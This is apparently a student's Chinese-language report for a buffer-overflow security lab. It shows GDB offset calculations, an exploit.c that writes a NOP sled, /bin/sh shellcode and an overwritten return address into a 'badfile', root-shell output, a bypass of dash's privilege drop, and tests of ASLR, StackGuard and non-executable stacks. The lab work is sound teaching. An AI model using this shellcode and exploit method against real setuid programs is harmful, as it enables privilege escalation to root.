## **Buffer Overflow Vulnerablility Lab**

57117213 张曙

#### **Task 1: Running Shellcode**

使用GCC的 -z execstack 选项编译 call\_shellcode.c 文件后,运行:

```
[09/02/20]seed@VM:~/lab-2$ ./call_shellcode
```

成功调用了shell。

### **Task 2: Exploiting the Vulnerability**

对于 BUF\_SIZE 为24的情况,将 stack.c 编译为可执行程序后(需要使用 -g 附加调试信息),用GDB 调试。首先,使用 b bof 对 bof 设置断点,然后使用 run 运行。在程序暂停在 bof 入口时,查看部分数据:

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffead8
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffead8
$3 = 32
```

使用 p \$ebp 查看 ebp 寄存器此时的值,使用 p &buffer 查看 buffer 数组的地址。 ebp 寄存器此时的值再加4就是 bof 函数返回地址所在的内存地址,那么通过 p/d 就可以计算出 buffer 与 bof 返回地址之间的距离为32+4=36。

因此, exploit.c`的程序为:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main() {
   char buffer[517];
   FILE *badfile = fopen("./badfile", "w");
   memset(&buffer, 0x90, 517);
   int start = 517 - sizeof(code) / sizeof(char);
```

```
strcpy(buffer + start, code);
unsigned int ret = 0xbfffec58; /* $ebp (0xbfffeaf8) */
buffer[36] = 0x58;
buffer[37] = 0xec;
buffer[38] = 0xff;
buffer[39] = 0xbf;

fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}
```

将 0x90 (NOP 指令)填满 buffer,在 buffer 的尾部填充shellcode,而在第36-39个字节处,应填写的是我们希望 bof 函数返回的地址。因此,我们选择一个与 ebp 值相距较近的,不包含 0x00 的地址 0xbfffec58,按小端序填入 buffer。

在此之后再次编译 stack.c:

```
gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
```

#### 然后运行:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功得到Shell,并且使用 id 命令可以查看到当前RUID为1000,也就是当前普通用户seed的ID,而EUID为0,也就是成功拿到了root用户的权限。

#### Task 3: Defeating dash's Countermeasure

首先将 setuid(0) 注释, 调用 stack 的结果为:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

获取到的Shell为普通用户seed的Shell。

将 setuid(0) 取消注释, 再次调用 stack 的结果为:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(<u>p</u>lugdev),113(lpadmin),128(sambashare)
```

获得到的Shell为root的Shell。

将 setuid(0) 的汇编代码加入shellcode后,在 dash 下运行 stack 也能获得root的Shell了。

```
if (!pflag && (uid != geteuid() || gid != geteguid())) { /* ... */ }
```

如果RUID与EUID不同,或用户组的RUID与EUID不同时, dash 会降权限。而我们通过 setuid(0) 将RUID也设置为root,就与euid想通了,那么 dash 就不会降权限了。

#### **Task 4: Defeating Address Randomization**

将ASLR开启后,运行脚本,在22分钟后成功获得Shell:

```
./task 4.sh: line 15: 29396 Segmentation fault
                                                    ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task 4.sh: line 15: 29397 Segmentation fault
                                                   ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task 4.sh: line 15: 29398 Segmentation fault
                                                    ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task 4.sh: line 15: 29399 Segmentation fault
                                                    ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task 4.sh: line 15: 29400 Segmentation fault
                                                    ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
```

#### Task 5: Turn on the StackGuard Protection

将 -fno-stack-protector 选项取消后,再次运行 stack 时报错:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

并且能够精确报告出错误原因是被栈溢出攻击了。

# Task 6: Turn on the Non-executable Stack Protection

选择-z nostackexec 选项后,再次运行 stack 时报错:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
Segmentation fault
```

此时使用GDB调试程序:

```
0xbfffec57:
                nop
=> 0xbfffec58:
                nop
   0xbfffec59:
                nop
   0xbfffec5a:
                nop
   0xbfffec5b: nop
   0xbfffec5c: nop
      0xbfffeb00 --> 0x90909090
00001
00041
      0xbfffeb04 --> 0x90909090
00081
      0xbfffeb08 --> 0x90909090
0012I
      0xbfffeb0c --> 0x90909090
0016I
      0xbfffeb10 --> 0x90909090
0020I
      0xbfffeb14 --> 0x90909090
0024|
      0xbfffeb18 --> 0x90909090
      0xbfffeb1c --> 0x90909090
00281
Legend: code, data, rodata, value
Stopped reason:
0xbfffec58 in ?? ()
```

可以发现,报错是在执行的shellcode的第一个指令(因为shellcode中设置的返回地址就是 0xbfffec58),因此可以看出,只要执行的指令地址位于栈上,就会出错。